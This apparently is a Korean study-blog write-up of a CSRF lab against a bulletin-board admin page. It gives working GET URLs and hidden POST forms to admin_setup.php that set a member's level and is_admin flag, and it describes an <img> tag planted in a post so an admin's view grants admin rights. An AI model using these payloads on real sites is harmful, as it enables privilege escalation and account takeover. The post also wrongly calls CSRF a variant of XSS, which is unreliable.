오늘은 CSRF 공격을 공부했다.
CSRF는 변존 XSS 공격이다.
CSRF ( Cross Site Request Forgery )
변종 요청 공격이다.
스크립트를 사용하지 않고 html 태그를 사용하여 취약점을 공략한다.

이 공격을 해보기에 앞서서
HTML 코드를 분석해보는 단계부터 연습해 볼 것이다.

관리자 페이지에 들어간다.



(관리자 페이지)



회원 관리를 눌러준다.



(회원 관리 버튼)




여기서 게시판에 회원 가입한 회원들의 정보를 볼 수 있다.
또한 이 페이지에서 회원의 정보, 등급을 바꿀 수 있다.
그렇다면 이 페이지에서 어떤 변수들을 어느 페이지로 전달을 하여
회원 level을 수정할까?




(회원 관리 페이지)



소스보기로 들어간다.

먼저 form 태그를 찾아서 어디로 보내는지 그리고 변수를 확인했다.
보내는 곳은 admin_setup.php 파일이다.



(소스 코드)



(소스 코드)





(소스 코드)



여기 까지 레벨 수정에 필요한 변수들이었고
수정하기 버튼을 잘 보면 onclick으로 move_all() 함수가 설정 되있는 것을 볼 수 있다.
그렇다면 move_all() 함수를 살펴보자.



(move_all() 함수)



exec2에 moveall 이라는 값을 넣어주어 넘겨준다.!

여기까지 정리해보면 필요한 변수와 값은
page=1
group_no=1
exec=view_member
page_num=10
exec2=moveall
cart[] = 2 
movelevel=1 

먼저 GET 방식으로 변경해보겠다.
URL을 통해서 변수를 전달해준다.
admin_setup.php?page=1&group_no=1&exec=view_member&page_num=10&exec2=moveall&cart[]=2&movelevel=1



(url 입력)



(실행 결과)



실행 결과 사용자의 Level이 1로 상승된 것을 확인 할 수 있다.

이번에는 POST방식으로 변수를 넘겨보겠다.
그러기 위해 F12 관리자 모드에서
콘솔에 입력해주면 된다.
document.write("") 으로 입력해주면 페이지를 만들어서 보낼 수 있다.

조작한 Form
<form method=POST>
<input type=hidden name=page value=1>
<input type=hidden name=group_no value=1>
<input type=hidden name=exec value=view_member>
<input type=hidden name=page_num value=10>
<input type=hidden name=exec2 value=moveall>
<input type=hidden name=cart[] value=2>
<input type=hidden name=movelevel value=1>
<input type=submit value=전송>
</form>
이 내용을 전부 한줄로 만들어 보내는 것이 중요하다.
이 내용을 전부 한 줄로 만들어 콘솔에 입력해준다.



(POST 전달)




(Form 페이지)



입력을 하면 Form 페이지가 만들어진것을 확인 할 수 있고
여기서 전송버튼을 누르면 우리가 만들어준 변수들이 그대로
admin_setup.php로 전달되는 것이다.



(실행 결과)



실행 결과 역시 level1로 상승했다. ( 다시 9로 만들어준 상태였다.)

이번에는 회원 설정변경에 들어가서 레벨과 관리자 권한을 수정해보겠다.



(수정할 부분)



소스코드를 열어서 확인해보면



(소스 코드)




(소스 코드)



변경에 필요한 변수들을 쉽게 찾을 수 있다.

이 변수들을 이용해 아까와 마찬가지로
GET방식으로 정리하면
admin_setup.php?exec=view_member&exec2=modify_member_ok&group_no=1&member_no=2&page=1&keyword=&name=normal&level=1&is_admin=1



(GET방식)




(실행 결과)




실행 결과 역시 level1로 상승 되었다.

POST 방식도 아까와 같다.
<form method=POST>
<input type=hidden name=exec value=view_member>
<input type=hidden name=exec2 value=modify_member_ok>
<input type=hidden name=group_no value=1>
<input type=hidden name=member_no value=2>
<input type=hidden name=keyword value=>
<input type=hidden name=name value=normal>
<input type=hidden name=level value=1>
<input type=hidden name=is_admin value=1>
<input type=submit value=전송>
</form>
아까와 마찬가지로 한줄로 만들어서 작성해주면 된다.


(POST 전달)




(Form 페이지)



버튼을 누르면



(실행 결과)



실행 결과 레벨상승과 관리자 권한을 획득할 수 있다.

다시 원래 주제로 돌아가서
오늘은 CSRF를 이용하여 레벨1, 관리자 권한을 획득 할 것이다.
변조 요청으로
HTML 태그 중 <img> 태그를 이용할 것이다.

원리는 이렇다.
<img src=""> src에 우리가 원하는 변수와 값들을 GET방식으로 전달하는 url을 넣을 것이다.
만약
관리자가 이 글을 본다면
관리자의 신분으로 이 변수값들이 서버에 전달되게 되고
그렇게 되면 서버 입장에서는 관리자가 요청한 것으로 착각하게 되어
공격자의 레벨이 1로 상승하고 관리자 권한이 생기게 된다.

공격에 앞서 다시 attack 계정을 일반계정으로 바꾸어 두었다.



(일반 계정으로 전환)



attack 계정으로 로그인 한 후
게시판에 글을 작성한다.
CSRF 공격


(악성 HTML 태그 삽입)



그 후 관리자가 그 글을 읽기 까지 기다린다.



(관리자 확인)



관리자가 확인을 했다면
게임 끝이다.

이제 attack 계정은 관리자 계정이 되는 것이다.




(공격 확인)




이것이 변조 요청 공격
CSRF 공격이다. 바로 XSS의 변종 공격기법이라고 할 수 있다.



+ Recent posts